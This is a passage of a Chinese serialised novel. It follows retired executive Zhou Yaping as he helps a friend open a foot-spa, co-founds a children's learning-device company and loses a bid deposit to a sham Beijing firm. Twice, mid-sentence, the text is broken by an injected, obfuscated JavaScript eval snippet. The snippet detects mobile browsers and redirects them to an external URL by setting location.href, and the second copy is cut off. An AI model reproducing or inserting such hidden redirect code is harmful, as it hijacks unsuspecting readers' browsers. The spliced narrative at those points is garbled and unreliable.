蒋娜娜也看出了老领导的为难,她劝说道:“周总,别那么认真了,他们都说了,国家银行的钱不用白不用,你跟自己较什么劲?再说,你不签字,他们又会去总部告状,说你不支持他们的工作。何必去找这个麻烦?” 周亚平咬咬牙,在“贷款协议书”上签了字。 这个时候,周亚平才意识到,自己是公司的法人代表,需要对公司的一切行为负法律责任。也就是说,万一今后公司的贷款出现挪用、贪污、亏空等等,无法按期归还,该负法律责任的不是别人而是自己。但目前的状况是,贷款签字的是自己,但贷款的使用,资金的流向自己却完全不知情。这是一个怪圈,用钱的人不需负法律责任,不用钱的人反倒需负法律责任,细思极恐。 周亚平越来越感到不能再继续这样过下去。想来想去,唯一的办法,就是辞掉董事长职务,提早办理内部退休手续。 说干就干,周亚平立即动手写了一份辞职报告,辞职的理由当然只能是明面上说得出来的,就是身体状况不佳,长期患高血压病,希望回家休养。 报告寄出去后,总部人事部门的同志打电话来了解情况,询问辞职是否还有别的原因。周亚平回复没有其它原因,坚持说是身体原因,希望领导体谅。 没过多久,集团公司办公室又给周亚平打来电话,通知他来一趟北京,说朱总裁要和他面谈。 周亚平怀着复杂的心情去了北京。 在总裁办公室,朱总没让周亚平坐他大班台对面的椅子,而是坐到会客的沙发上,两人对面而坐。等秘书倒完茶水,正式的谈话开始了。 “周总,你的辞职报告我们已经收到了,但我始终不明白,你的身体状况照我看来,担任董事长的职务绰绰有余,并非不能坚持。要说高血压,这也是我多年的老毛病,只要坚持吃药,控制血压,毫无问题。你为什么一定要辞职呢?”朱总说得十分诚恳。 “朱总,叫我亚平就行了。”对比自己年纪大的领导称呼“周总”,周亚平很不习惯,“既然朱总说得这样诚恳,我也把心里话说一说。我是一直在基层工作的干部,以前虽然每天忙忙碌碌,但感到非常踏实。自从担任董事长一职,整天无所事事,心中空落落的。朱总,你想想,董事长最大的工作是主持董事会,讨论总经理等级别的人员任免,审核年度财务预算和年度财务决算及决定其它重大事项。其实,总经理的任免是集团公司的决策,哪里会轮到我这个董事长?我又不能插手具体工作,否则干预了总经理的工作。我一个习惯于忙忙碌碌工作的人,每天坐在办公室啥事不干,怎么受得了。这样,心情也很压抑,要说病,这真是一个很大的心病。” 还没等朱总说话,周亚平接着说:“我建议,像我们这种基层单位,不要设专职的董事长,仍由总部人员兼任就可以了。这样既精兵简政,又适合基层的具体情况。” 朱总陷入沉思,周亚平独自喝茶。 “也许你说的是对的,”朱总终于说话了,“当初,我们考虑,你是我们系统的老同志,一直兢兢业业地在第一线工作,太不容易了,让你担任董事长,就是希望使你的工作轻松一些。另外,说实话,我们也担心新来的同志在特区环境里不适应,留下老同志可以起到示范、监督作用。” “千万不敢说‘监督’,我这还没怎么样呢,就把我给防特务一样,真要去监督,那就要打起来了。”周亚平笑着说。 朱总没有马上接话,过了好一会,才慢慢说:“好吧,你的意见我们再商议商议。这次找你来,没有别的意思,就是和你谈谈心。你回去等消息吧。” 谈话结束,朱总坐电梯,把周亚平一直送到楼下,才握手道别。说实话,就这样一个简单的举动,让周亚平很感动。 回到公司不到一个星期,周亚平接到总部人事部门负责人的电话:“周董,你的辞职报告党组已经批准。朱总特意安排你们公司给你办理内退手续,并要求待遇从优。另外,朱总希望你退休回家后,保重身体,尽量不要再去兼职,即使兼职,也不要从事与‘登云’公司产品类似的行业。祝你光荣退休!” “谢谢!谢谢!”周亚平在电话里连声称谢。 周亚平内部退休的待遇确实非常优惠,出乎周亚平的想象:一次性地发给50万元补偿金,赠送周亚平在公司开的那部旧“皇冠”车给他个人使用,公司每月仍然为周亚平购买社会保险,直至办理正式退休。 在欢送大会上,李达锦的发言也很客气,肯定了周亚平为“登云”公司做出的贡献,祝福他退休后保重身体,健康长寿。 周亚平在会上也说了很多心里话,他的临别赠言特别提到:“各位同仁,‘小灵通’手机为我公司迈上一个新台阶起了不可或缺的作用,创造了很大的经济效益。但我还是要提醒大家,正如当初我们咨询日本企业时人家说的那样,相对于移动通讯的新技术,它毕竟是一项被淘汰的技术,只是在特定的环境下,特定的时间段内重新发挥作用。但这个时间段不会太长,希望大家一定要有风险意识,要密切注意动向,及时转向,避免受损。” 周亚平就此离开了工作、生活了十多年的“登云”公司。 但他临别时的真心告诫好像并未被公司的领导人接受。就在周亚平走后的一两年里,痴迷于“小灵通”发财梦的企业领导,完全没有一点风险意识,仍然大批量地购进“小灵通”手机成套器件。等到社会上“小灵通”手机泛滥成灾,已经完全滞销时,“宇电登云”仓库里仍积压了几百万套“小灵通”的器件,而此时,这些库存器件一套的价格,都已经超过一台“小灵通”手机的市场价格。由此,造成巨大的亏损,最终,公司资不抵债,宣布破产倒闭。 当然,李达锦本人非常幸运,公司倒闭前,他已经由于“小灵通”的一番操作,使公司总产值翻倍增长,业绩显著,被上级表彰并提拔为集团公司一级的副总裁。接替他的干部,顶替他背上了公司经营不善,破产倒闭的黑锅。 33.三十三 过惯了上下班有规律生活的人,一旦回归家庭,变得自由散漫,也会很不习惯。周亚平就是这样,内退后,一段时间里,浑身有一种说不出的不自在。生活极其单调,除了漫无目的地四处游逛,就是守着电视机追剧。 当然,老朋友、老相识们知道周亚平的情况后,有的也来聊聊天或邀约出游。 最近几天,一位名叫韩鑫羽的朋友每天都会来邀周亚平外出。 韩鑫羽原来是“登云”公司的一个小经销商,当时他还在内地城市,在综合市场摆个摊位卖“登云”电话机,零售兼批发。由于他能说会道,人缘不错,所以生意很旺,为此赚了第一桶金。来到深圳后,尝试过各种赚钱的行当,但都不太理想。他曾向周亚平抱怨:“在内地时,都说深圳遍地是黄金,我来了后,发觉根本不是这么回事,钱同样不好赚。” 两人自认识以来,韩鑫羽觉得周亚平待人诚恳,性格直爽,正直善良;周亚平认为韩鑫羽热情好客,讲义气,肯帮忙。于是,两人来往较多,关系不错。 这几天,韩鑫羽每天都要带周亚平去足浴店休闲,而且每次都是不同的门店。当时,足浴这一行业刚在深圳冒头,营业场所较少,因此,每次要开车走很远的路程,才能找到一家足浴店。 名义上,韩鑫羽说是考虑周亚平以前干企业辛苦了,请他洗洗脚慰劳慰劳,但周亚平心里明白,他这是另有所图。 一个星期后,韩鑫羽终于把自己的真实意图说出来了:“周总,你觉得足浴这个行业前途怎么样?我也想开一家足浴店。” 周亚平稍加思索,说:“我看可以。从这几天你带我去过的几家足浴店的情况看,都是生意兴隆,客人络绎不绝。另外,这是一个新兴的行业,说实话,你带我来之前,我从没在足浴店洗过脚。但通过这几天的体验,感到洗完脚以后,确实非常舒适和放松,更不要说按摩足底穴位能起到保健作用。我觉得,趁现在这种门店还不是太多时,在城市中心地带开家店,肯定能赚到钱。” 听他这一说,韩鑫羽高兴得手舞足蹈:“我就知道找你就对了,有见识,看得准。正好,你现在从国营企业退休了,我们一起来干吧,开一家自己的足浴店。” 周亚平摆摆手,连声说:“搞服务行业,我可不是那块料。” “没关系,有我嘞,” 韩鑫羽得意洋洋地说,“你可知道,我就是干服务业起家的。想当年,我腿脚不便,家里人担心我今后的谋生门道,让我从小跟裁缝师傅学手艺。做上门功夫的裁缝可不是什么人都能干的,进千家门,吃百家饭,没有一点本事是玩不转的。周总,你老是调侃我会察言观色,见风使舵,见人说人话,遇鬼说鬼话。这些能耐,不瞒你说,都是那段时间磨练出来的。” 韩鑫羽由于幼时的小儿麻痹症,造成腿脚不便,走路一瘸一拐的。尽管如此,他从未自卑自弃,照样每天乐呵呵地去奔波,去奋斗。这一点,也是周亚平欣赏他的原因。 韩鑫羽和周亚平一样,是那种说了就要干的急性子。他立即把自己的设想全盘告知周亚平。 “这段时间我没有闲着,开店的地点我已初步选好,就在最热闹的罗湖区一条街道上,明天我就带你去现场看看,地方绝对不错。大概算了一下,初期开办费需40 万元左右。我七凑八凑手上已有30万元了,你再拿10万元给我,就可以了。至于店里的洗脚技师,我想法去别的店挖几个过来,其余的靠招聘,靠培训。” 看来,韩鑫羽早已心有成竹。 周亚平一直在实业圈里摸爬滚打,虽对进入服务行业提不起兴趣,但反正也没有别的事,因此,这段时间经常帮着韩鑫羽出出主意,跑跑足浴店的事。 门店装修开始前,韩鑫羽急不可耐地对周亚平说:“周总,要打预付款了,你今天无论如何必须把钱取出来给我。钱放我这里,你一百个放心,如果怕门店亏损,算我借你的钱都可以。” 周亚平急忙解释:“没有不放心,只是你没有说具体什么时候要钱。好!我马上去银行取钱。” 资金到位后,筹备工作进展很快,两个多月后,就正式开店营业。由于店面位置很好,繁华街道,人流如织,再加上足浴这种新兴行业的号召力,开店以来,生意一直不错。 韩鑫羽让自己的女朋友齐瑶媛担任大堂经理,另外招聘了一位能干的领班,而自己则掌握财政大权。 说起齐瑶媛,有段往事值得一提。 还是在内地设立摊位售卖电话机时,韩鑫羽就雇了一位年轻漂亮的姑娘当售货员,她就是齐瑶媛。小齐负责零售,老韩负责跑单位批发,两人配合默契,生意越做越兴旺。一来二去的,两人日久生情,最后,悄悄地睡到一块去了。此时韩鑫羽早已结婚,妻子为他生了一男一女两个孩子。眼看着瞒不下去了,韩鑫羽找理由与原配离婚,原配其实早知其中缘由,但出于老实贤惠,也没有吵闹,两人和平分手。离婚后,韩鑫羽并没有和齐瑶媛结婚,而是两人一直这样不明不白地耗着。 足浴店开张三个月后,算算账,除掉房租、水电、人员开支等一切支出,竟然纯赚15万多元,韩鑫羽喜不自禁,暗自庆幸自己终于在特区找对了一条路子。 第二天,韩鑫羽给周亚平打电话,请他来一趟足浴店。 周亚平来店后,韩鑫羽二话不说,先让他洗个脚。周亚平也不客气,坐上足浴椅,享受免费的洗脚服务。 足底按摩完后,韩鑫羽把他带到自己办公室,拿出一包龙井茶,在周亚平眼前晃晃,说:“这可是最好的茶叶,朋友送的,据说一斤要一千多元。我们今天喝喝,看究竟什么味道,值得这么贵。” 喝完茶,聊了一会,韩鑫羽从抽屉里拿出一包钞票,郑重其事地递给周亚平:“周总,上次借你的钱,现在还给你。感谢你对我们足浴店的大力支持,感谢!感谢!万分感谢!” 周亚平楞了一下,慢慢明白过来,人家拿你的钱并不是入股,而是借钱。因而笑着说:“无所谓,朋友间互相帮忙,这是理所当然的。” 见周亚平直接把钱包放进背包里,韩鑫羽急了:“周总,你数一数呀,一共是11万元。” “不是10万元吗?”周亚平问。 韩鑫羽得意地笑笑:“借你是10万元,这不假,另外一万元是利息,我不会让朋友吃亏的。” “朋友间借钱要什么利息,再说这利息也太高了,不到半年,就有10%的利息。这不合适吧?”周亚平把钱包从手提袋里掏出来。 “没什么不合适的。你给我帮了大忙,我店里现在生意很好,这算是我的一点酬谢吧。” 韩鑫羽按住周亚平的手。 周亚平想想,本来是一个股东,每年都可分利,现在变成债主,对方也是不好意思,稍微表示一下,如果不收他的利息,他会更加尴尬。于是,便默然收下。 见周亚平收下多余的一万元,韩鑫羽极为高兴,说:“周总,你是这家店的贵宾,欢迎你经常光临指导,永远为你提供免费洗脚服务。” 内退在家这段时间,老朋友吴树慧也经常来找周亚平,聊天商谈。他还在做电子元器件的贸易,知道周亚平赋闲在家,也在动脑子,千方百计想找一个两人合作干事的机会。 星期日,吴树慧带周亚平去华强北电子街,看自己新买的一个铺位。 铺位所在的大厦,尽管也在华强北商圈里,但比起最旺的几处电子城来,逊色不少,生意明显清淡。 “吴经理,你怎么想起在这里买个铺位?”周亚平问。 吴树慧回答:“早前,华强北电子城还未发达之前,就有人劝我在那里买一个店铺,当时价格非常实惠。我没有动这个心思,认为在那里零售只是小打小闹,不如直接跑工厂销售。谁知后来火爆到这个程度,说句不夸张的话,几乎全国的电子企业都跑到这里来购货。我最早认识的一个摊位的小老板,现在都已经发展成为集团公司的总裁了。当时没买柜台,后悔死了。现在,正好手上有几个闲钱,最旺的地方铺面买不起了,只好买个相对便宜的铺位,等待下一个机会。” 两人正说着话,韩鑫羽电话打进来了,周亚平走到一旁接听。 “周总,你好啊!终于又听到伟大的周总裁的声音了。” 韩鑫羽仍然是那一套夸张的口吻。 周亚平回敬他的调侃:“同样伟大的韩总裁,你好!有什么指示?” “不敢,不敢,”韩鑫羽笑着说,“总裁好久没有光顾我们这个小店了,大家还以为你对我们有意见了。今天周日,天气又好,过来聊聊吧。” “我正和吴经理——你认识的,吴树慧,在华强北呢。” “哦,是老吴啊,也是好久未见了,叫他一起来吧。” 周亚平把韩鑫羽的意思告诉吴树慧,征求他的意见,谁知吴一听说是韩鑫羽,眉头一皱:“是他呀,这个人太狡猾,为人不靠谱,我不喜欢与他交往。昨天卢总还在向我抱怨,说上次韩鑫羽打电话给他,约定第二天中午请他吃饭。卢总这个人对什么事都很认真,本来第二天他们公司要去东莞谈一笔生意,他让副总带队去了,自己准备去参加老韩的饭局,倒不是想吃这餐饭,主要是考虑联络朋友感情。谁知第二天在家左等右等,到了下午1点多钟了还没有消息,实在等不及,又不好意思直接问韩鑫羽,只好悄悄地给足浴店打电话,问韩总在不在店里。接电话的小姐告诉他,韩总在店里吃完饭后已经回去睡午觉了。你看,这干的什么事,纯粹是忽悠。对了,你不也上过当吗,他开足浴店时首先不是让你合伙吗,最后你出钱了,他看到生意很赚钱,又把你的股份变成借的钱了。这样翻云覆雨,太不讲信用。” “这事也怪我,对服务性行业不感兴趣,事先没有和他正式签订协议。”周亚平解释,“老韩这个人毛病是不少,不少人都和我说过。大家特别反感的是,他爱说大话。‘大话’一词,在我们内地,是吹牛皮的意思,在广东,是讲假话的意思。他的‘大话’里,这两种意思都有。但他也有一些优点,比如说,热心肠,肯帮忙。另外,从本质上看,他还是个善良之人。许多人不知道,最近,他做的一件事,让我有些小感动。” 吴树慧奇怪了:“什么事?居然让你感动?” 坐在新购铺面里的座椅上,吴树慧听周亚平讲述这段故事。 韩鑫羽的原配离婚后,一直住在韩给她的一套住宅里,韩鑫羽也时不时去看看,顺便送点日常用品。 上个月,韩的前妻经诊断患了子宫癌,已是晚期,韩鑫羽得知,无比惊慌,带着她四处求医。到了一家据说是治疗癌症最好的医院,院方告知必须手术治疗。韩鑫羽动用自己搞公关的十八般武艺,与这家医院的门诊部主任交上朋友,然后请他说实话,自己的前妻究竟要怎样才能确保生命无忧。 这个主任实话相告,一般来说,只要手术成功,都没有什么问题。韩鑫 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15489180|169990||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 羽问,你们医院里谁来动刀可以绝对保证成功?主任回答他,谁也不敢保证万无一失。只能说谁的成功率更大一些。 说到这里,主任突然想起,说:“韩总,国内有一个人,如果请他来做这个手术,不敢说100%成功,99%的成功是完全可能的。” 韩鑫羽急忙问:“谁?上哪里去找他?” 主任说:“这位专家现在已晋升为国家卫生部的副部长,也是刚上任的。” 韩鑫羽泄气了:“人家在北京当官,怎么可能请得动。” 主任看了他一眼,慢慢说:“很巧,这位副部长现在正在珠海开会,你可以试试去找他,碰碰运气。” “太好了,谢谢主任!正好我在珠海有一个要好的朋友,是一个公司的大老板,他在深圳时,几乎天天在我店里洗脚。我这就去找他帮忙!” 来不及与主任告辞,韩鑫羽抽身就走。 韩鑫羽回到店里,叫了个司机,直接开车前往珠海。 还别说,韩在珠海这位姓马的朋友真给力,韩鑫羽找到他后,他马上找了市政府办公室一位副主任,电话咨询那位副部长的行踪。也巧,这位与他相识的副主任就是负责接待副部长的,他告诉马总,副部长今天还在珠海,会议明天结束,后天返京。 晚上,副主任领着马老板和韩鑫羽到招待所找到这位副部长。 说明来意后,副部长面露难色。 韩鑫羽见状一个劲地求情:“部长,我知道您工作很忙,但确实没有办法,医院说了只有您出面动刀,才有可能救我妻子性命。我妻子可怜呀,家里世代贫穷,小时候很苦,跟了我后,也没有过几天好日子。部长,救人一命胜造七级浮屠,就耽误您一天时间,请您无论如何帮这个忙。” 政府办副主任也帮着说情:“这位韩先生,也真不容易,你看他的腿,走路不方便,还跑到珠海来找您。他这条腿,是在老山前线受的伤。” 这是一个大乌龙,小儿麻痹症的后果给说成是老山前线受的伤。不怪副主任,是他误会了。就在马老板带韩鑫羽找到副主任后,副主任曾问过韩鑫羽腿脚毛病的原因,还没等韩鑫羽回答,马老板就开玩笑地说:“人家那是在对越自卫反击战中,在老山前线受的伤。”谁知副主任把调侃当成真话,竟在这个时候脱口而出。 马老板觉得不妥,正准备解释,谁知副部长听到这么一说,立即肃然起敬,竟马上答应专门去深圳一趟,为韩鑫羽妻子动手术。马老板也就不敢再往下说了。 副部长很守信用,会议结束后,如约到深圳医院为韩的妻子动刀。手术非常成功,韩的前妻终于摆脱了死亡的威胁,术后恢复得很快。韩鑫羽对这位副部长千恩万谢。 说完这段故事,周亚平对吴树慧说:“吴经理,从这件事可以看出,老韩的良心还是不坏的。按说,他们两人已经离婚,前妻患病,他没有太大的责任。但他仍然千方百计,想方设法去挽救前妻的性命,真是让人佩服。有些朋友质疑我为什么与韩这样的人关系不错,其实,我就是看中了他的这些优点。” “啊,还真不知道老韩这么重情重义。行呀,反正好久没见面了,既然人家热情邀请,那就去一趟吧,”吴树慧主动提出。 于是,两人驱车直奔韩家足浴店。 韩鑫羽刚好在大堂里,见二人进来,又来了那句夸张的话语:“欢迎,欢迎,热烈欢迎!欢迎两位伟大的老总大驾光临!” “行了,行了,我们又不是第一次来你这个‘伟大’的洗脚店。”周亚平笑着说,同时,向迎上来的齐瑶媛招招手。 韩鑫羽首先安排两人先坐下洗脚,吴树慧有点不好意思,说:“老韩,我们每次来你都让我们免费洗脚,这怎么行,你开店是要盈利的呀。” “小意思,这算什么。”韩鑫羽满不在乎地说。 齐瑶媛也笑着说:“韩总经常说,你们是他的贵人,招待招待理所当然。” 洗完脚,三人来到韩鑫羽办公室喝茶聊天。韩鑫羽说起话来让人插不上嘴,此时,他正在吹嘘自己足浴店的兴旺:“不是我说,我们这个店特别招客,来店的达官贵人多的是。不说远了,就说这个月,来的就有内地一个市长,卫视节目的一位名嘴,还有香港的一位偶像剧名演员。居然还有一个大和尚,号称是得道高僧,也来洗脚,你说搞笑不搞笑。” “别吹了,老韩,我还正想给你提提意见,”周亚平爱说直话,平时,也只有他敢对韩鑫羽说直话,“今天在洗脚时,我问技师小妹,‘涌泉穴’在哪里?‘足三里穴’在哪里?‘三阴交穴’在哪里?按摩这几个穴位对身体有什么益处?谁知她一问三不知。这怎么行?我记得早在开店之前,我与你去其它足浴店体验时,就探讨过,洗脚小妹必须懂得这些穴位常识,而且必须给客人介绍。这样,才能让客人知道洗脚不但是休闲享受,而且有益于身体健康,也会更加信赖洗脚技师。这样,生意才会越来越好。怎么,现在都不是那么回事了。” “哦,今天帮你洗脚的小妹是刚招进来的,还没有上培训课呢。我会跟小齐说,让她抓紧对新招小妹的培训。”韩新羽解释。 周亚平听了后,笑了起来:“你看我这运气,好久未来,一来还碰上一个新手。不过,我还是建议韩总不要让没有培训的员工上钟。试想,如果让没有培训过的医生给你动手术,你敢吗?” 嬉笑声充满了这间小小的足浴店办公室。 34.三十四 “锦创达科技有限公司”是一家技术开发公司,专门开发新产品硬件及软件,为其它企业提供技术方案。此时,总经理周锦达正在给“赛亚塑胶摸具有限公司”的老总谢鞠科打电话。 “谢总,‘登云’公司周总——周亚平已经从国营企业内退了,你知道吗?” “我早就听说了,上次我还邀他来我这里聊天,他说正在帮朋友办事,没有来。怎么啦?” “我看老周这个人办事认真,搞了几十年的企业,很有经验。我公司最近开发了一款‘儿童早教机’的产品,很不错,功能比较独特,我估计今后销路很好。不如我们合伙开办一家企业,从生产销售这款产品开始,逐步发展,你看怎么样?” “嗯,你的意思是请老周出马,来打理这家公司?” “就是这个意思,你我都有自己的一大摊子事,不可能再来管这家公司,老周这人靠得住,让他担任总经理,我们当股东。” “行呀!多条生意多条路,我看可以。这个人我也信得过。” 两人商议已毕,周锦达立即给周亚平打电话,把大概的意思说了一下,并约定第二天一同到“赛亚”厂会面细谈。 “锦创达”公司是“登云”公司的重要供应商,主要供应电话机所用的主控芯片。有一款来电显示芯片,是该公司自己开发的产品,性价比较高,“登云”公司一直采用。通过长期交往,周亚平与这个公司的家门老总,除了是生意上的伙伴,更是生活中的挚友。至于谢鞠科,更不用说,也是周亚平结识多年的好朋友。 因此,接到家门的电话,周亚平没有多想,就已经认定要走这条路。 第二天,三人在谢鞠科办公室正式会面。 谢鞠科对周亚平说:“开始我还在琢磨,周总在家过着舒适的休闲生活,现在重新出山,还不知能否请得动呢,谁知‘锦创达’周总告诉我,他才刚开口,你就满口应承了。” “哎,两位老总不知道,我这人就是个天生的劳累命,没有事干难受得很。因此,一听说有事情干,比什么都高兴。” 三人坐下来,就新公司的投资资金,股份比例,产品方向等进行商议。周亚平还详细地询问了新产品的功能、特点等情况。最终确认,公司总投资100万元人民币,周锦达占股41%,谢鞠科占股39%,周亚平占股20%。 本来,周锦达和谢鞠科希望公司注册资金多一点,公司实力也大一些,但周亚平提出,自己这个以前靠国营企业工资养家糊口的人不能和两位大老板相比,自己掏不出再多的钱。 会上同时确定,周锦达任董事长,周亚平任总经理。其它的具体事项,如公司名称,注册地址等等,由周亚平负责确定。 由此,周亚平又恢复了繁忙的职业生涯。 给公司起名颇费周折,起了好几个非常霸气的名字,结果上工商局网站查新,通不过,都有重名。有朋友给周亚平出主意,不要选漂亮大气的名字,这些名字十有八九已有人用了,干脆采用最简单、最俗气的名字,说不定反而是最好的。于是,“四通科技”、“八达科技”列入了候选名单。这个世界太小了,连这么简单的名字,竟然也有大把重名,非但如此,把两字错过去,查“四达科技”、“八通科技”,同样有人采用。 最后,周亚平灵机一动,在“八达”两字间加上一个“昊”字,用“八昊达科技有限公司”去注册,才顺利通过。 经过一系列紧张的工作,办理工商、税务登记,选择、租赁公司办公场所,招聘员工,等等,“八昊达科技有限公司”终于在春春暖花开的季节正式开张。 周亚平知道,公司总投资额有限,必须精打细算才能维持。因此,在设计公司架构时,本着能省就省的原则,来考虑编制与人员。首先,鉴于股东方“赛亚”公司有富余的加工能力,不考虑在“八昊达”公司设置生产线,产品采取发外加工的形式,交由“赛亚”公司生产。其次,由于承接的产品是股东方“锦创达”公司研制开发的,故在技术方面,前期可以完全利用该公司的技术开发力量。第三,财务方面,为了让股东方对新公司直接进行监督,主办会计由“赛亚”公司的会计兼任。据此,最终的公司架构,只设置生产、工艺管理及质量管理人员,市场营销人员,采购人员,行政后勤工作人员等,班子相当精简。 以上做法,既大大地节省了本公司的人员开支,又得到股东各方更加的信任和支持。 公司接手的新产品是一种儿童智力玩具——“早教机”。它的玩法是,把各种文字、图案不同的卡片插放托盘上,用手指一点,就能发出相应的声音和音乐。儿童可以通过它,学习英语和各科知识,寓教于乐,故称“早教机”。 这类产品其实已经面世较长时间,说它“新”,是由于“锦创达”开发的这款产品,在原有功能的基础上,增加了一些新的特殊功能。如“卡拉OK”功能,儿童可以利用它模拟“卡拉OK”唱歌。再如,电话机功能,插入电话线,它就可以充当普通电话机使用。由于“锦创达”公司在研制电话机芯片上非常在行,因而,让“早教机”增加这个功能轻而易举。 周锦达很欣赏自己的这一杰作,多次和周亚平谈到,这款产品必将在市场上走红。 新产品正式命名为“G8多功能儿童早教机”,第一批生产2000台,投石问路。 为了“G8”尽快向公众亮相,让业界知晓,周亚平与公司市场部经理王惠等人带着产品接连参加两次展销会,即儿童玩具展和消费电子展。 在儿童玩具展上,“八昊达”的展柜海报上用醒目的大字写着:“世界上第一款带‘卡拉OK’功能和电话机功能的早教机”,这一宣传十分引人注目,过往的人员大都会驻足观看,一时,“八昊达”展台人流如织,十分热闹。 王惠高兴地对周亚平说:“周总,我们的产品看来有戏。” 一起在展会帮忙的办公室文员陈晓丽也笑呵呵地说:“是呀,看得出,大多数人对我们产品很感兴趣。不到一上午,样品就已卖掉了9台了,很受欢迎呀。” 周亚平当然也很开心,但还是冷静地告诉他们:“样品我们是按八折优惠价格出售,当然有人来检这个便宜。另外,还有些可能是同行买了回去作对比研究的,因此,还不能说明问题。” 接下来的两天,情况依然如故,展台上看的人多,询问的人多,买样品的人也不少。但周亚平最希望的经销商来得并不多,而且来的人一听到报出的批发价格,大都直摇头,认为太高。整个展会下来,批量订货只有420台。 消费电子展的情况差不多,只签了几百台的订单,这与周亚平事前的愿望相差甚远。周亚平原打算等这两次展会结束,拿到大的订单,立即安排再生产10000台“G8”早教机。谁知两次展会,零售和批发全部加在一起,才只有第一批试产的“G8”2000台的一半多一点。 周亚平决定加大产品推广力度,一是印制精美的广告宣传彩页,向全国各地的相关单位,大型幼儿园等各种幼教机构四处邮寄,遍地撒网。二是采用各种方式联系儿童玩具产品的经销商,外地的发函去电话,本地的上门走访,宣传产品,联络感情。三是发动本公司员工及他们的熟人同学、亲戚朋友等,动员有能力有资源的参与宣传、销售。 这期间,公司又让代工厂生产了3000台“G8”。 经过一番努力,两个月的时间,前后生产的5000台产品仍未全部销完。好在公司人员少,开支控制得好,公司维持运行,未发生亏损。 周亚平也曾与董事长周锦达多次探讨过这款“早教机”销售不旺的原因。最后达成一致意见,除去公司销售力量有限及销售手段还欠缺这一点,主要还是因为目前同类产品泛滥,严重的供过于求。而“G8”尽管在功能方面有一些亮点,但并不是功能方面的升级,同时随着成本增加带来的价格上涨又不能被客户接受,因此,造成现在销售的尴尬局面。 周亚平和周锦达都在寻找破局的方法,对于企业来说,最好的方法就是拥有是市场需求旺盛的好产品。 又是一个周末的上午,周锦达突然打来电话,约请周亚平和谢鞠科到他公司会面。 两人接到电话,立即赶赴“锦创达”公司。 给客人沏茶后,周锦达掩饰不住喜悦地说:“好了,好了,总算找到一条路子,让我们的‘八昊达’公司可以大干一场了。” “什么路子呀,周总,这么高兴?”谢鞠科不解地问。 “今天早上,北京的一位老朋友打电话告诉我一个重要信息,有家很有来头的企业,‘环球网络科技有限公司’,老总叫龚泰然,目前正在招标,采购100万台网络电话机。你们知道的,我们前不久开发的一款网络电话机,功能齐全,性能良好,特别是性价比特别高,如果用这款产品去投标,我敢保证,绝对可以中标。”老周越说越兴奋,“100万台呀,这是什么概念,一台即使只赚10元钱,都是1000万元。再说,一台又何止赚10 元钱,至少赚20到30元。” 周亚平疑惑地问:“他们采购这么多网络电话机干什么?” “不奇怪,据说这家公司有网络运营商的背景,他们购置这么多网络电话机,并不是去卖,而是去送,凡是成为他们网络客户的,就送一台电话机,以此来扩大用户群。” 这种说法还是有些道理。所谓网络电话机,就是不经电信部门的传统线路,直接用互联网进行电话通讯的终端设备。网络客户用它打电话,只有较少的流量费;而当时如果通过电信运营商的线路打电话,价格很贵。两相比较,用网络通话,确实是一个省钱的法子。 “这是件大好事,周总,我们赶快以‘八昊达’名义去投标呀。”谢鞠科也十分看好。 “但有个问题,”周锦达犹豫了一下,“招标方担心参与投标的企业太多,因此,提出投标方必须事前交出50万元押金。” 周亚平轻声说:“我们公司目前拿不出这么多钱来作押金呀。” “我知道,”周锦达说,“这笔钱必须由我们三人另外掏。我和谢总一人20万,你拿10万。” 谢鞠科有 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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挂好电话,老周对二人说:“人家说了,‘钓鱼台’里戒备森严,外人来访,必须由接待单位人员领进。要我们到达以后,打电话告诉他们,他们派人到大门口接我们进去。” 一番周折,三人终于来到了“环球网络”公司所在地,是一栋小高层的三楼。听着那么神秘,可看这小高层楼房,很普通,并不显得有多么高档。 周亚平注意到,整层楼内,所有房间门口都没有挂公司牌匾,这使他想搞清楚该公司究竟有多少间办公室的企图破灭。 大家喝了几口茶后开始转入正题。 周锦达问:“龚总,听你在电话里说,100万台网络电话机必须在一年内交清,但打算怎么付款呢?” 龚泰然回答:“前10个月每个月8万台,后两个月每个月10万台。每期先预付50%的定金,货到三天内付完余款。” 谢鞠科最关心的是押金,于是问:“押金汇给贵司后,万一我们公司中不了标,押金何时返还?” 龚泰然笑了:“招标书上写得很清楚,五个工作日原路返还。” 周亚平本想问,你们以什么来保证押金返还?但转念一想,这话也是多余的,招投标都是这个套路,谁会提供保证。 其实,看到这家公司确实存在,而且在中国最神秘的心脏地带办公,可见这家公司不同凡响。光凭这一点,就已经让当时很单纯的三个人打消了疑虑。余下也没有什么值得了解的了。 后面的时间变成了聊天。 周锦达问:“龚总,国宾馆也在钓鱼台,离你们这里有多远?” “不远,不远,走过去很近。”龚泰然指了指窗外,“就是那个方向。说起国宾馆,故事还挺多。听说过没有,赫鲁晓夫当年住这里,抱怨浴缸太小,其实那是加大号的,主要是由于当时中苏关系不好,他是在挑刺。尼克松是一位酷爱音乐的政治家,弹得一手好钢琴。当他步入总统套间时,看到房间里有一架钢琴——这是礼宾司特意安排的,没等休息就兴致勃勃地弹起来,并连声称赞:‘好琴!好琴!’。还有,周总理对基辛格的‘烤鸭外交’,也是在这里发生的。你们谁知道,哪个国家的领导人在国宾馆住的次数最多吗?”不等别人回话,他自问自答:“就是朝鲜的□□,他在这里住过四十多次。” 聊天完毕,自然是招待吃饭,而且是在北京的特色菜馆——“北京烤鸭店”。 从北京回来后,三人凑齐50万元,按照“环球网络”招标书规定的日期汇了过去,同时,把投标书及相关资料寄过去。 半个月后,标书上确定的开标日子到了,但北京方面音信全无。周锦达打电话给龚泰然,头一天,全部都是自动回复:“电话正忙,请稍候再拨。”到了第二天,竟然变成:“您拨的电话不存在。” 周锦达慌了,急忙把谢鞠科和周亚平叫到一起,告知此事。周亚平一听,连声叫道:“完了,我们上当了。” 